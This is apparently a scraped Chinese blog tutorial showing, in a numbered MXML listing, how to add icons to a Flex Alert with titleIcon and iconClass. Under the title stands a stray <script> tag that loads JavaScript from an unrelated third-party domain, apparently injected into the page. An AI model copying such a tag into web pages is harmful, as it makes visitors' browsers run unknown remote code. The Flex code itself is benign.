Flex中如何利用titleIcon和iconClass属性,给Alert添加Icon图标

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 
  1. <? xml version = " 1.0 " encoding = " utf-8 " ?>
  2. < mx:Application   xmlns:mx = " http://www.adobe.com/2006/mxml "
  3.         layout = " vertical "
  4.         verticalAlign = " middle "
  5.         backgroundColor = " white " >
  6.     < mx:Script >
  7.         <![CDATA[
  8.             import mx.controls.Alert;
  9.             [Embed(source="assets/bulletCritical.png")]
  10.             private var BulletCritical:Class;
  11.             [Embed(source="assets/iconCritical.png")]
  12.             private var IconCritical:Class;
  13.             private var alert:Alert;
  14.             private function init():void {
  15.                 var alertText:String = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse rutrum metus nonummy augue. In hac habitasse platea dictumst. Nulla arcu libero, nonummy non, suscipit a, mollis non, augue. Maecenas porttitor urna vel enim. Nam eget tortor. Mauris facilisis suscipit felis. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Proin nunc turpis, venenatis non, laoreet at, fringilla nec, purus. Sed sodales. Sed turpis. Vestibulum sagittis justo id metus. Sed placerat, nibh lobortis mattis adipiscing, sapien wisi interdum arcu, nec vehicula sem tortor id nibh.";
  16.                 var alertTitle:String = "The quick brown fox jumped over the lazy dog.";
  17.                 alert = Alert.show(alertText, alertTitle, 4, null, null, IconCritical);
  18.                 alert.titleIcon = BulletCritical;
  19.             }
  20.         ]]>
  21.     </ mx:Script >
  22.     < mx:Button   label = " Launch alert " click = " init(); " />
  23. </ mx:Application >
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值